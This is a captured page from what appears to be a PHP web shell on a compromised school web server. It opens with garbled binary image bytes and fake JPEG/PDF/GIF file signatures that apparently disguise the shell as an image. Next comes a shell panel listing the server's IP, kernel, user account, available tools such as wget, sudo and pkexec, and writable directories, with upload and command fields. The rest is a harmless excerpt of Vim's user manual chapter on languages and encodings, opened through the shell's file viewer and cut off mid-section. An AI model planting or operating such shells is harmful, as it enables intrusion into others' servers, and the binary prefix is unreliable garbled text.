JFIF     "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777"H !1AQ"2aqB#R3b$Cr4Ss%Tt&c$!1AQ"a#2B ? }XuAo)8^ IƟ`vUp9jY0Ǧ w)E허2jU`SEKw5]kSno!]:?jc\غV7/9N+{t#8zd/޲3F/=ź3GNquV"/4:{z%ۣI'D@ %88^f}VV)S_2ed^Mx"͟?UC62Q%чmO͓ cq0rŖJ\Õ_Sݶ'|G.q޾D U]nP%EF>˲E"d&'f2s6H]4w IS˶4VbaQ+9]XtNx:M0JNxϙ⟟"{nr;|{%vo\z-wc,*|k}-m55o4W9ؓw߱Yzk .=/oϡȴ^9ҧʹamtQԬZ]4?egjrQ}+)MleE]MPEn!`IK2RUEwVIoͷcp;lśe7΄uN ;rПV8|e\׹9Y-V_G.)XԢOv<;_"ڜ]ߙEr݊'K{KuBJ}KI}24|"v)/ʻo5)6-Tjd7.C]Q&lU,Yk1P4~UKZs|$kX6+屷CUq+N(jlGrpG&UB3#k3\9qfg7O8Kim(AJOO~C#e`i0wĦij$cWh<dtQߺ"NOtG+ZǪ]b5%]v5$)u|qZ柡s-rۖu$MKڎCmN_V'/1u,21pvlc>қeNnֺ|bkl=lǷNOʣlz*]»vȎ[)j[fs[]:s#m6Qt6*Q+`};ßj[F_jcv`r#w}|k<ڞ/r53N8>Kh q_-_??@enſEܥ\D\YAEo+ ޟd}IcY7+t{=ɩ>}i\\JfxzVdSzᔢ]Q^CJի\iceitMM5hڦg')^ et#ۯ"ÿfF->4iؤ2ݷ6#p6^-R̫gETj^I.kӽUp~D9[:/>h> \gJ|ۿؘ>ml9jMK =+*2i=0RiͶۗV{"u]IH`9J_˹KƼK$X-|=ve/ bjxw.9i%NqVJcFYKcTtO,F;%67vYb8֝qq0tUt=DvawsS~~Edzr^F-v{c++ݔ\|9Iy #nOavOY=3690Tcrilwa\˓m$?箵S6U c(.~R7suMhqcMOnKoc*ȣȩEd'J ܜk*_q}%M/7c.|;trddbsdcJev85̤iW Ę 8C# .딖e$sk80^\J众2)Nm~|Idj_ O+6ǻ#(MIz4Qo:օY,:q]̌"lK}{F]ζ)h>ʶ ^ue78_G#rqv$wkk[Q c+վ+ĸZΝFB]VzoiJRke&Kgom_7Wef_7,osJɽE%lzBt>mRs)v8'P0ֲtrOg4p_2`GlhYڦDF/ӚKmtm'P2kqU765fJY:y؊.ox%8V_ִ̌ܞjpqwЮQ;iUcNoOoٸcY w*4soӵkqf$?-jy~0{>?DaL8XL/ɞo+'8 {ʸxգj#Dy)wk̘e۩+%}~;ڼ5xek|y-%ڱ-ʜe:EEScÚ5z|r'&I&яF*F7|[nRF =(4ۖ@. n7@xx:N^8Bg%u/ny6&dR{?8U_Q6Z߯-oh.NR]} qi6~H(j7*uF&l&o8ts]/P89:jW*$w׹Ӌ FxpsCJi.7N q4WU_}7*M#qWiصnk'4ݍl*t^ c<'d:~͗enFQRz9v~ddoTZ̚k7X(wUswO̙fոҁՕ[$IAI>WW~ĪEѢNoeutYߑ-Eixιpxq{FnyfRrjqU᫤]>wPU8)Y-7Wbq㛋w:7ܣ].j%K:y4] %9$I%pT(󨪙VqiYٓ4y~5S/XTDZM2lȪ; S~Kx:(Mn0';-{*qV&|W3S+\֔a{R{s=lYmN9Fn&o'}Vi( ?*qV5ѼCNsM饏zߴ$^O69@ ,$y|jE;gW/u|M?3+ZՕN86յw%|QO㏏S\E#ddsgl+Scl3~~CԕQľ?5_ z߿t11OĶ0>oB9E/SOSk+b&Yn>$툧eg) "!܉(1 uBoJ)/t/,:=7M+1ܺ#CmS^Nz 6[u&]+|Dfj:uZ5-Z^TjMtm>cȳ NdT_,M#Ex;pt۴ͮ#!N iKl!zPծ~$1SiO} HI&g Bf)b%Ko̧kumEnص;V?j>nltOMVۆl>.WueYaw2+qK,?uHiqqSM}~gu3xbcWSy/Xc{%sZ]uaUM;7:cb5G97'7þյW,;$ܛyVjl޻y7S;o6gf.Tг[7/i1Z^rE cUF'P1-?%u&q{fw~27ޡ ^w$?SwP[=R3Y73 4x(Kk&rLȫMKn:RjcI?3Al`vض[POĖSYujj6v+-[xҵ=~zNN>\ɲQ/uufo*e6l;31붏.>w6=7#7dFDc%ƶTbd;2/=?Asr! ~ZSS~I"9y]Hn,ĊJ7S}cK"amCg3yP=RQɤW}t;-{F+v+RɔڎB?º{SV묖kۏmK~%.Q;OfEf_Y/F-V-MdD)m.ZՍ8Y*h[g/6ydmCc[rdfʾ䖗gd$^֍^ʅѻL|<[݉\߯RiJUo';œN?B smS ܹkس,mRE^ѣlJ&.ċ԰YO:޼f\Z'HCѯU[ʩ1ff4S-٥YxTIGLiыr }L)edׂ*l|ٚuoxӿnWkTbbVm zT_'"x5Vިxo1ج^Fq6Sd3ws'/ڞ6m?}1OsRGݝ+,~ڬ%^p1ef5c25vq~﹉ă[r-eq] 8+/ESj}?mUE.xYK3"oƔ^Y9I]I ޑ" &*4.Jâ}ټQbXKJ񽼀ncg`+riܭ_'Bֽp%bX'7cB}WPm|zHָLJhj~E>i~Z$297|_hyΕ&s}ZϷ *j]:v.HK<SP8`Pƣ)r ,}8Wk[ArHgn=о7:J]TTP>OOj J_KyB\Ԥrm嬷ȫr{ݙ5R(FRЪ6q}KLmR'eޖz6[YތesYYL5Tr7s\^rؙV͸컬j5d?yk'b S }kra^ߚRH)[sg.fLM\u= vJQ]rVkZuoN}#G?yjO%|i2fKoӰღC P_Ϳ6Zr{e/m$i}9 G2')YG9KY>|1ӫ +v+i;h\Q@˿Lӭn˖ 7ck>Vr.D0)hC<˄4"0[eԬݭe+l2s3ss oX]1r]+VK vI;mZ')R6e5=/i@]H^Z۬՝EW.jƆf{8mXMV~_̝z^VR}T63}}k3+k3:j1Phlpi{欍BȽ}6w73GtUZv>4eUj$ xz$$D/߇ߟI"uk̜aƪ*ke/F:dһ_PE1ݡkp(5ʏ-ɮ{Yllԧg!ܝ g]i-umεŸxOê^=PR ##XeMy%2L~󜺶Hm ݙ2t_ƶz7'\Z4T<"AM-&xaC]a5.huQ۫$cMμ|h;.J.o߸sE-zU{d];|YLSMvSEneNKr1B[]NeonNߪ$4̘FPrkxޱ=0lr7Q%=$KQ;0r*XKdGۃ*]w-npᬶ\tt4>Dc[Ouo3/)-WҴ xs71eԤm*ٖ웗H''.Cnmy]݊Kra[9)Y#2U6d7tf.[R.GdE>#O_.+-K`{KonR_ÕM/)?:F,Xo1ƽRmz8C]lD %(x+d2Ah+\CCLJ!D65x\ȼv)\Nrp*[YُfL*PyVΚuWA K4hyYdwihNIy#ub?4NDϐ'4 :nFe(o%ve@@xl-k%QƭRP&kεMŪ-Ys2u ]T!}8*TQnZ}v =~mԧyDM&8K>2|Bnugܷ.wvCs̼5F^ubES7ݢM&4Ź-~mKx1((sr!M5uy\q)oy|a)ˣ,A?w"T휳2\F}PR-<2%`~4Z5\W"(USkGpT(~Qj>ɰ쏳ǓSKKx's]nEf'.iݙL>Moƹk7ݭ[.г6lk<;?)#E]xFU7'>vF%R;t:Җs}NSBWX=Y8ث}~G)S^^ƽwR[)/Fm-ڞTK~˓Z]U;RQ=M/"NԝP[-Y9t_8V+}P?Ue{M/O&WWKvc#r'KM'p[±vtpRC/W|7K2Rfm;ljm%Z]^T[6}6iTC }L[uxg7(Z}. SRI)jҞzȶ쳢oYRw$ŷ"J\ǭw{u'R taF{;3hHB\RP(*ZQ]y;;k٥nWbGKv-V?NDҞkd9@z LJ}Kc9C*?V-*[*۸-0.|󲝳ߗZK#%_OFGF$kC$[NNJ7Yn[k~Xzc+Sʲuhsw^^4+nElbƮKD,}YLV=i=|p|_=b5mȵ(~,em#Xƥ.sVoEaWXc.lY uG\m';'*\ӆ}|˯UfQBvo}/"zw + qvMrQ[[AdU2ٽCGgjؖS~Ev%9">$_2Sߚ%ѽ7jX(t#21r{̬F]b()?r[Rı)W[O/6]XL9 vuLh-Ȃ9"'7f!Փ䮿Bf}[lag֧]?Pc#D9EmfK7o*})+n!]qIo^FrNVNo!Eƃd#OP?%ۋ(mPu93ۣ{}2&$%cZ߯LҚY);U afԶd,*'6_?B:R~}^̬~mJ+vC}Ѩe"MY+mi :s쥸;iJeYvBddeK|#5/mzR]F2 JHUU )/S{Ic$=: W)>} @0#URsR=w"L{+ɞ)d|*qq2>[nƨDۋ-G[6½J|{Ѿ4MwyG-Σ Ze{ug>2|'zΤ2%xՑ*<Q̥T')uLkjn(zF-JOR}wn~FV5zq2m'^VS=7Y^RdfeO)>EpX붚w*r*w˿^kڴ{J;K۔sRŶU]p\zn@dx6[+yeH[_m_/I&mv|M5&&-G"v۴^{vg8Y(K_~h0e AxfrzڬkhS/Vy1ϯdW3'͹}{'V-:MW(V/ͷ*E7s\EmEW}bUr'k,P{9?B֫ #[uNrB,wo^{fdF(5tRf.2J-/:~ t0M"d_/c^32*q]yLl^2[ݥZc*vtm213r'tSuM-Խ#o/HF+2VEpmǦޟS?Rs+t:u G8n,Ԛf,hY8SX*rKf>+cpruɬ=DMrXgϸ:~ɲ ~]'5'kElw\=ڞAG&')G9R\_̝1K;nPg&T(ի[^Jҟ"qoӸ.W}3mF>'$<\U6-~?x?B~{^xkpv-vlߣe빹j\(ښsuu6lH(qoaYt?x8}Ie '@b%TݲygV.+O9/W4MsCMuFjYzG.{ds.k(>G~K?ni-=R r}r ?s̥%l5Ϛ9IN6~۩RĢWNʾE[|nb.HY—קWkr1ҺշMNDp)^¸R:w;u1 12]T/Uiʹd%2OC2K*r5S]g凫5 UQ.ȫ– /i91njFkQxuJ1rn%XDžy?s˗վuMGƋ/m^J*RsF))uF,'l{=|nFm9:N\%u#tnXE->e2Y0PũjUȨEŭ|'eʹ[o{Ցms%CGg/}t|snzrvm\g}cÊ94Pvg'L}ّg궮ԱߢO^f.W-sT]M˔ېе<^Н'KuNn_Vl8*Kж^ xsuW51-ᅱFzƉT-kY/9wzDޯ/XlW)gypǚjDɨ~{ݤHCim.[>rqE_Uرx/>|L64%aj;fxӱF(K֓J9՞ -K> I_5Enn´&=Oc%o̟IJZF$۲5I9Wݚ n.WTuѲӏ[4U/9.2zX5\j3ĎEsMq4%9.d[7јc9eNa+sjE';%s#ɤ`ףS=WI쫢.Mv:j/[3:rTF_zt:.z%udW%]xܮVz$Vŗ49[^y.խN~M&mx+wGR~_4KC[ʻ:v>03߶v9x-Mȧ$c:lrCWjeg%ֹ_Nh՝Qɏj^ϛr^.>WhlE5yֵ6\W^确]*гc&^NI[oCDn.ߑ!,m&M_/'Mn$s\r^8|uSZZ1|LV<(zq׮xmٚZƏ%.Ԁs^2𱸒O#&,s[mײ9kޖCoSq&俙qxP.N] 2UǎsM2iN.f r[mcQZmFُE{#[TbҔ*sfaSrn^8N<\_'MarJ6 EQғ|F[S'[~q~kmn[_x?B f5Q١X=g(~[Cx}GO ĺo'e)~dq(Ot`sN=~heu ::m'Cjj>~5V柙cyQD%uqEc{[l^U O]b~eŦۑ'W3&' 2V.^D%G S6\wYNO$. O+^ŵG~haEs^=1*bICzFF4O#,Wu3허ekB\I'tWMߩOG3iFz{rgeM9g r] i3gk&u1r/1kVgR-ɿuF .^;3;?3큦bN̂r4ovMkڞ}[:,IVG<};*-2",>K%bK2Ƨ[w!)ˤ;d?4%Ul2ږec4#ōIw^R_/TFX+*FM[F|a'ߚ2SIMeVGn ~&Y Ym(?ԛ],=|сG4yjk"Q^~ԗ^c,qqrg^-:Uc[E8>>k|nS..LBIc>3i|ZEZXAqm nuOm<; X~mrK=~ ƱrSN<U!F΋WS/|t?K)zd} ,C"ovx?bբs3mX3桭X֖˦kFddhg}$ggSo5jL*NdJis$ EQ\v=0HxzyW~FT_Ƶccg,&=_V(%kq+_÷O'[_[Uڽv F $Ξ9n5EN/4Yy/%*} .jΔ`V_6\VͲohzfOgޯzpj}y}v:34WH;+x7ӻu<ݦ"mJ/=>eoD֣c4kXW-[}٬6;t[Na_• _5i5˗sٴ]+e;Joj㼶ۙyLumo5&F)F\ {(sm_M>gzcr)KU̠Ħ=VDd'h;-aŤ9KٰqQܫަazMp4bk9 UX.ͮ]KeS5Uq[¹X0ɦ6]roFjʧ2׏6/C6eQE5KӰmsFnIz&`z팡-ٯ.ixyك?c2//z6M4W[]_"?Õ[? Vfvӳq]I5(d|MʝzcC*mN>B2gD+><e:Gh %UkW%zJ8k_ˠ=KFRfw{sŖ^q\/{v[Ω}gLjT[t_ޕg6G~rkkMcSRKբ54?SAûO1o%[>5/R~CioNdNʛćh>f6H8c/<1xd[ŦCEk.9"ej?w&O6^ژR[vrQ.z㎩f6:V8}hi2z~ s-w]+|I9s_C~>-S&9ZFVLf7-d'pՠplJ#mm؎s(?Ʋ?/A%_sXuGNnR}_dq>1ʍ|У3]NXYZʷ/&ܛ彖LS? 6]"_t5qP5Kq]^m91jW暹U6-5WU澦M0˵f2ӪǮ.P~? _nEJTcTei)ٳrۣ%x %gs}7l9'tb~dXst# r?}Weaq>=+to)7،E*vn\e_,\NFxcivz]tM˼?Oԝ2Zrλs-ĺEtonIIfm/9^[^EBUjOnr6vI& l]%0")2䒶-+R*zyX<> -X9GUo^xYQ8ιvixٔa\t)hv}ьոVU~tK,=_wLLa?TYIo]$`N6cbi?#7;MRt<.~Q-mob\\g5췍 ڌ_?8nfJN/Y͢n3?_sϩ{HiְPo'yS??_jߡWi5q? MWȲ)8a]lLˏ--b[TXlΫRy;o5뜾$HW.mm?շG[Ƀ seo5Q}Le%*،«~uU{R$t\^%!weX:G('6WupTS&~8=jo?2_PϖE[nf6Tٯ;GLW)NM[o*\j%.gb|䭹noOX:1R)UTj74˓]D_bʝkzNI.9|^G`KeQ{mOjX/sR7evdgi7qm}ތW&4=~|YY)?7Oj}xXkF×4c.l?i|b[5Ή5j-[Y\z<茲Z$Ff&o;gErǩݦ̪/q[&[/9uuzi;PS^_/?]=ΕqK~ӛ5'NM[m_Ϲc'[oӯE#g߂vvGNRo϶o5Ǩ[ɉtov2~i<7iSȜN(G5+/ٛMTܣukj鷣/$1˒!Mxr\ߤs1ZuMQȌ^]c$CXrj#N/˦Ķ9]Nzê5zi;W,v!ŧD6zğ7uR5^MW}>igl2U2nXo{}_w]&vte\Z3 MEEe/ 2s㗼S_bIղTI}|[Ye/c]*̪9u/DmyNxSDgi `Z?.RFj۪'~.[KVb޺o濡to?E#[.^y=q4F8ڎ/GX\.YW!Z.ѕtt:?gYYyU%Uw~ri>ȦKhg,5/=>V?TrN4aWO,oӕ7-SRi*"dܽpuaVQÞd-#J2Nr:#``ѧWR-F?I-T -cOT2pr?þזgE\Ij~L9%EMoџUؙt8_eYΧWjU}e9y9z/#TT-2dLt3H=ڼcKb'"uIٓ'[[߱F~\2]r%C]^VCLjm[cJNryf}ջ.[DEoRՒb'>fVy_c6[K4Na5>{ɳaw/Uj.Զ_K~?IeJ7OQx3IgFc*جɊǽ-o3Ӭp / ]7V*ENܜ[r/tOJΉw*ʨ*JFN^.WZeLgUwKi/M9y8dkOᛊHxGĶM*&#h/U|6D(uFyE5hYxiSEVm^D|,ۿCj;<*ouOkYpΔ2{x-L] !k2ا#IM'a7:M}M1Y儭Mnk[/;4Uwkkɫ%aɔoXVV$m;2Z4i9:>\Yů= ?[{t6,~!c`Un+dW.gKyIB]l+3kض(\MZ\}>k\C~閹l[ů]VNtƸr몮X+U>v'nv{y7s[г̭9Ctvt% GqT8=wa(6\Rd柮YWv^Fd^\+緉,+=-^S"k:NVu o[_TIѝ椯bF/G㿏dΙ?T}K-T)W>s?3M)V*,;P\,}B u{rDexڥVFfw}47׋w}]Դ 1dmk1V%/'T:Fǒ_TEe[l/l/ٯc{Ƀ[~`zj⾥r}Vܪ{M8Qv]$mU]8J2MngcxY?鑞.9HjxSy.fS(|]MgcK2$(jRQ3XO|<f:Jq4& fw|$N )A8ת99 mFNM*Dϒ NoIa9i9y?:D⻧߇\7ɧ]mu"-˥5/w̨_ 7DK['[2"(%xzT\*GT"+<,yX.lEJrfo?.4N;l>jmZߣ5FdB3\r,t,./S]Q{tm5lӕT~A [fv7Iہc: ΪN7I]2(|o$NLW"#~Dͭ=v-Mv{-lqn{I3xn'6.=DƟܖަ~deQV;k2Ei\[bӴ1_]OhZl朠&t3xkei+c\'ZԪ'hK梿X@cTԫ#emIz6e^i?8 NBc̆f+MׇdC]YSd%lώ8-c7eι/}_con/no\핍~[WNReXMo+اn ?#Ͷ-AUFN1V4!y,{1a$S﹑;Ǚr"__[o) xk}7EI/riwؙ7mR}`|yrEVdo/B# uٳiNQKQkᑑ^d@/=ˑɒ768fsuor9=7ףܹճpMr-$1uySOZN?đrqզ9F q=.!T?ػ bf{¯q=$^:!ES߿ Fu\OS,8e^UוS^hF4BQƺȪw-kF39@X06 Fv=Q^|ƞ5}2tnmG_|Λ(|%](-5>KȁN$=6lq).12 V6m$ׇlOcҫܸ K{;ľ>+Q?Rx-Keu uMy$i B}G*h$Q -W[-&a"[i\}~Ek$<~c{MffS eS.#\^lMiytު]9S{u4 {DFޅSź}R ]R$y;r/P̙3niXMt;&!rxw\ZFmQ"w\L{^۔K&/gr:m=2%5bwE"^e[\$ɟPi!U_rdS2d?=[!(I.rC QZEim%}|YmzZ_ά<ۡLQM|` ybPȏ}?]Eu[`kҫgFb~F}Q8NP>5lӳ^-K%Q}$sx7SvnfTƸ|Kzd'_ⰽח$4L Y?qy32t j2e ȜrJ{mبhۍUU'p#8y'ѝ=i+Tĩo7WYyČkL5؝M=%"Nt}eXW)N.~sv5pɮ sSQ[+-/}kVk'FEɩ9SE&T=&\緵 --tf.9Ѳ4_##_ɱTFV؞~YTddS&s=䟚Fb1._5}~gM'p#,U hs--XG wtԹTi7M:GYK5'^W?C>_Gq/S&d| k_gO ӊiJeHU G_ Êg#),}-:5>V1emq}t}q?meKU:BqJeiPɗ#\$sI} Z生ƫoo=V=pVcUg"%wEm叡vIdhrȔ~F]p58_.,O|'Ɇ^L!c6OWӷ{x9?Fp?ceOuT+Uɵݹ&gx9i퓃sxGIm}_3Īr#:ԣ?4בc[jö#B7KʌWNo)=+c }YvP{lv^r+5Vxx_:~=̌Q}CTy+Wh鸚f$101뢊F[#--Y\i@l)W8/E>8nlj/ktOľ,q*[sE[]:?ZeQvŔɺ|j(Wx,LW=:S?κq%81c)jJvODLiW,{96vr-2}-EH,}%3k#l5gl~x__W Sڎ 8YJQvA=QIWju6-X9$kWЩCI4UWd'&O/Cf=Pi/#+>n$KYst܅y4ʷD^~%~myj,s_4Q}΍Cή;SW:h=Ff{.B/inȇo=-T͸OY2}hlK}.m7-z?,f-/^b\QWs/_͔/3In[6M;l ygؼ!WUË_)D9YL4_>f}ϵ3hV5Oѣ(l8?L4蹥[-Э=7V{&ʢPʼ*3cMz>u4@[oM gKS[jy"Lھzɵfx)GE`ֿ.=kJ>/iˢ[j-qץQC B@o V(ʯG?Bܻ\I>=K-].(vOE.5׮=/Pf^&$caY9{3މ%YOxZ~6Z;;ԗ.NJzş/YϖĜ%ѿO^tY$ν4|e}2ɶU9A؜h˺LrIm%J.|I]kG|DzU k4'(T\9߱^!z -:mW^ <= <^2*;Seq(6ªsHf5ʸO{Ilr~G uJY^k5X_y;5'59O@ƣ̶>pnCOvNwX4oUUf]Џe%MV9Xm9]x'Q=82z)c/~1\~LSow>ﺍƻUql~Sqo羘sk}VjG71kYؽ]b4qnMӡ; w@̇IL㿗[43)]=v*)EH'a񖳋ҎTkxuXGK& ZIR(M8?:ixJp-dmckpu*%N^-7E3='ceE&';_J'Mw𶥏Y9+d9+>!e_Sn|VX -TZu]Ģ/6\ckr /ޗ/z[y.N:*k$ }Yǭ}GUm^-%dm;K_#ctBsg2:8rz-VE|T w.}w9NEPGnoCe8/&3qT}MJ̙Mۗ~哳,-WI_Bsh+~͛vN{ZdYKݲkr%+lo*re-ه?:vYqFfCsqMXRķ{yqgrx.oǓ\xdڗ_ZC9WomX|KmV_%UJܷr$drȳL~MoKyYLic Jq<1$UuٯTד374s<ĕ96춉r9 pGc9=p^:)ZJb&VӝXٽ 0/X& ۳*_ԙƏ.5J 6<$$6B0d_d?hqd>XCe- wO@pg:.>$.Ϣ~L޲|,{-ɪ2.u/Ds-[ُiVIWK5M#Fܭ3?x.)ۣ,wJ)Ȳڣ-#fbdq&Tͧ8Q,YqQ)/R­?\k˔[p_+ogzP[6r^o}_kT}JiJ;<ivEH8wI@MOPʊ\#+$%PDF-1.7 GIF89;
ANDA PELER
Server IP : 182.253.108.180  /  Your IP : 18.221.25.133
Web Server : Apache
System : Linux sma1wiradesa.sch.id 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : wijaya ( 1017)
PHP Version : 7.3.33-10+ubuntu18.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/vim/vim80/doc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /usr/share/vim/vim80/doc/usr_45.txt
*usr_45.txt*	For Vim version 8.0.  Last change: 2008 Nov 15

		     VIM USER MANUAL - by Bram Moolenaar

			     Select your language


The messages in Vim can be given in several languages.  This chapter explains
how to change which one is used.  Also, the different ways to work with files
in various languages is explained.

|45.1|	Language for Messages
|45.2|	Language for Menus
|45.3|	Using another encoding
|45.4|	Editing files with a different encoding
|45.5|	Entering language text

     Next chapter: |usr_90.txt|  Installing Vim
 Previous chapter: |usr_44.txt|  Your own syntax highlighted
Table of contents: |usr_toc.txt|

==============================================================================
*45.1*	Language for Messages

When you start Vim, it checks the environment to find out what language you
are using.  Mostly this should work fine, and you get the messages in your
language (if they are available).  To see what the current language is, use
this command: >

	:language

If it replies with "C", this means the default is being used, which is
English.

	Note:
	Using different languages only works when Vim was compiled to handle
	it.  To find out if it works, use the ":version" command and check the
	output for "+gettext" and "+multi_lang".  If they are there, you are
	OK.  If you see "-gettext" or "-multi_lang" you will have to find
	another Vim.

What if you would like your messages in a different language?  There are
several ways.  Which one you should use depends on the capabilities of your
system.
   The first way is to set the environment to the desired language before
starting Vim.  Example for Unix: >

	env LANG=de_DE.ISO_8859-1  vim

This only works if the language is available on your system.  The advantage is
that all the GUI messages and things in libraries will use the right language
as well.  A disadvantage is that you must do this before starting Vim.  If you
want to change language while Vim is running, you can use the second method: >

	:language fr_FR.ISO_8859-1

This way you can try out several names for your language.  You will get an
error message when it's not supported on your system.  You don't get an error
when translated messages are not available.  Vim will silently fall back to
using English.
   To find out which languages are supported on your system, find the
directory where they are listed.  On my system it is "/usr/share/locale".  On
some systems it's in "/usr/lib/locale".  The manual page for "setlocale"
should give you a hint where it is found on your system.
   Be careful to type the name exactly as it should be.  Upper and lowercase
matter, and the '-' and '_' characters are easily confused.

You can also set the language separately for messages, edited text and the
time format.  See |:language|.


DO-IT-YOURSELF MESSAGE TRANSLATION

If translated messages are not available for your language, you could write
them yourself.  To do this, get the source code for Vim and the GNU gettext
package.  After unpacking the sources, instructions can be found in the
directory src/po/README.txt.
   It's not too difficult to do the translation.  You don't need to be a
programmer.  You must know both English and the language you are translating
to, of course.
   When you are satisfied with the translation, consider making it available
to others.  Upload it at vim-online (http://vim.sf.net) or e-mail it to
the Vim maintainer <maintainer@vim.org>.  Or both.

==============================================================================
*45.2*	Language for Menus

The default menus are in English.  To be able to use your local language, they
must be translated.  Normally this is automatically done for you if the
environment is set for your language, just like with messages.  You don't need
to do anything extra for this.  But it only works if translations for the
language are available.
   Suppose you are in Germany, with the language set to German, but prefer to
use "File" instead of "Datei".  You can switch back to using the English menus
this way: >

	:set langmenu=none

It is also possible to specify a language: >

	:set langmenu=nl_NL.ISO_8859-1

Like above, differences between "-" and "_" matter.  However, upper/lowercase
differences are ignored here.
   The 'langmenu' option must be set before the menus are loaded.  Once the
menus have been defined changing 'langmenu' has no direct effect.  Therefore,
put the command to set 'langmenu' in your vimrc file.
   If you really want to switch menu language while running Vim, you can do it
this way: >

	:source $VIMRUNTIME/delmenu.vim
	:set langmenu=de_DE.ISO_8859-1
	:source $VIMRUNTIME/menu.vim

There is one drawback: All menus that you defined yourself will be gone.  You
will need to redefine them as well.


DO-IT-YOURSELF MENU TRANSLATION

To see which menu translations are available, look in this directory:

	$VIMRUNTIME/lang ~

The files are called menu_{language}.vim.  If you don't see the language you
want to use, you can do your own translations.  The simplest way to do this is
by copying one of the existing language files, and change it.
   First find out the name of your language with the ":language" command.  Use
this name, but with all letters made lowercase.  Then copy the file to your
own runtime directory, as found early in 'runtimepath'.  For example, for Unix
you would do: >

	:!cp $VIMRUNTIME/lang/menu_ko_kr.euckr.vim ~/.vim/lang/menu_nl_be.iso_8859-1.vim

You will find hints for the translation in "$VIMRUNTIME/lang/README.txt".

==============================================================================
*45.3*	Using another encoding

Vim guesses that the files you are going to edit are encoded for your
language.  For many European languages this is "latin1".  Then each byte is
one character.  That means there are 256 different characters possible.  For
Asian languages this is not sufficient.  These mostly use a double-byte
encoding, providing for over ten thousand possible characters.  This still
isn't enough when a text is to contain several different languages.  This is
where Unicode comes in.  It was designed to include all characters used in
commonly used languages.  This is the "Super encoding that replaces all
others".  But it isn't used that much yet.
   Fortunately, Vim supports these three kinds of encodings.  And, with some
restrictions, you can use them even when your environment uses another
language than the text.
   Nevertheless, when you only edit files that are in the encoding of your
language, the default should work fine and you don't need to do anything.  The
following is only relevant when you want to edit different languages.

	Note:
	Using different encodings only works when Vim was compiled to handle
	it.  To find out if it works, use the ":version" command and check the
	output for "+multi_byte".  If it's there, you are OK.  If you see
	"-multi_byte" you will have to find another Vim.


USING UNICODE IN THE GUI

The nice thing about Unicode is that other encodings can be converted to it
and back without losing information.  When you make Vim use Unicode
internally, you will be able to edit files in any encoding.
   Unfortunately, the number of systems supporting Unicode is still limited.
Thus it's unlikely that your language uses it.  You need to tell Vim you want
to use Unicode, and how to handle interfacing with the rest of the system.
   Let's start with the GUI version of Vim, which is able to display Unicode
characters.  This should work: >

	:set encoding=utf-8
	:set guifont=-misc-fixed-medium-r-normal--18-120-100-100-c-90-iso10646-1

The 'encoding' option tells Vim the encoding of the characters that you use.
This applies to the text in buffers (files you are editing), registers, Vim
script files, etc.  You can regard 'encoding' as the setting for the internals
of Vim.
   This example assumes you have this font on your system.  The name in the
example is for the X Window System.  This font is in a package that is used to
enhance xterm with Unicode support.  If you don't have this font, you might
find it here:

	http://www.cl.cam.ac.uk/~mgk25/download/ucs-fonts.tar.gz ~

For MS-Windows, some fonts have a limited number of Unicode characters.  Try
using the "Courier New" font.  You can use the Edit/Select Font... menu to
select and try out the fonts available.  Only fixed-width fonts can be used
though.  Example: >

	:set guifont=courier_new:h12

If it doesn't work well, try getting a fontpack.  If Microsoft didn't move it,
you can find it here:

	http://www.microsoft.com/typography/fonts/default.aspx ~

Now you have told Vim to use Unicode internally and display text with a
Unicode font.  Typed characters still arrive in the encoding of your original
language.  This requires converting them to Unicode.  Tell Vim the language
from which to convert with the 'termencoding' option.  You can do it like
this: >

	:let &termencoding = &encoding
	:set encoding=utf-8

This assigns the old value of 'encoding' to 'termencoding' before setting
'encoding' to utf-8.  You will have to try out if this really works for your
setup.  It should work especially well when using an input method for an Asian
language, and you want to edit Unicode text.


USING UNICODE IN A UNICODE TERMINAL

There are terminals that support Unicode directly.  The standard xterm that
comes with XFree86 is one of them.  Let's use that as an example.
   First of all, the xterm must have been compiled with Unicode support.  See
|UTF8-xterm| how to check that and how to compile it when needed.
   Start the xterm with the "-u8" argument.  You might also need so specify a
font.  Example: >

   xterm -u8 -fn -misc-fixed-medium-r-normal--18-120-100-100-c-90-iso10646-1

Now you can run Vim inside this terminal.  Set 'encoding' to "utf-8" as
before.  That's all.


USING UNICODE IN AN ORDINARY TERMINAL

Suppose you want to work with Unicode files, but don't have a terminal with
Unicode support.  You can do this with Vim, although characters that are not
supported by the terminal will not be displayed.  The layout of the text
will be preserved.  >

	:let &termencoding = &encoding
	:set encoding=utf-8

This is the same as what was used for the GUI.  But it works differently: Vim
will convert the displayed text before sending it to the terminal.  That
avoids that the display is messed up with strange characters.
   For this to work the conversion between 'termencoding' and 'encoding' must
be possible.  Vim will convert from latin1 to Unicode, thus that always works.
For other conversions the |+iconv| feature is required.
   Try editing a file with Unicode characters in it.  You will notice that Vim
will put a question mark (or underscore or some other character) in places
where a character should be that the terminal can't display.  Move the cursor
to a question mark and use this command: >

	ga

Vim will display a line with the code of the character.  This gives you a hint
about what character it is.  You can look it up in a Unicode table.  You could
actually view a file that way, if you have lots of time at hand.

	Note:
	Since 'encoding' is used for all text inside Vim, changing it makes
	all non-ASCII text invalid.  You will notice this when using registers
	and the 'viminfo' file (e.g., a remembered search pattern).  It's
	recommended to set 'encoding' in your vimrc file, and leave it alone.

==============================================================================
*45.4*	Editing files with a different encoding

Suppose you have setup Vim to use Unicode, and you want to edit a file that is
in 16-bit Unicode.  Sounds simple, right?  Well, Vim actually uses utf-8
encoding internally, thus the 16-bit encoding must be converted, since there
is a difference between the character set (Unicode) and the encoding (utf-8 or
16-bit).
   Vim will try to detect what kind of file you are editing.  It uses the
encoding names in the 'fileencodings' option.  When using Unicode, the default
value is: "ucs-bom,utf-8,latin1".  This means that Vim checks the file to see
if it's one of these encodings:

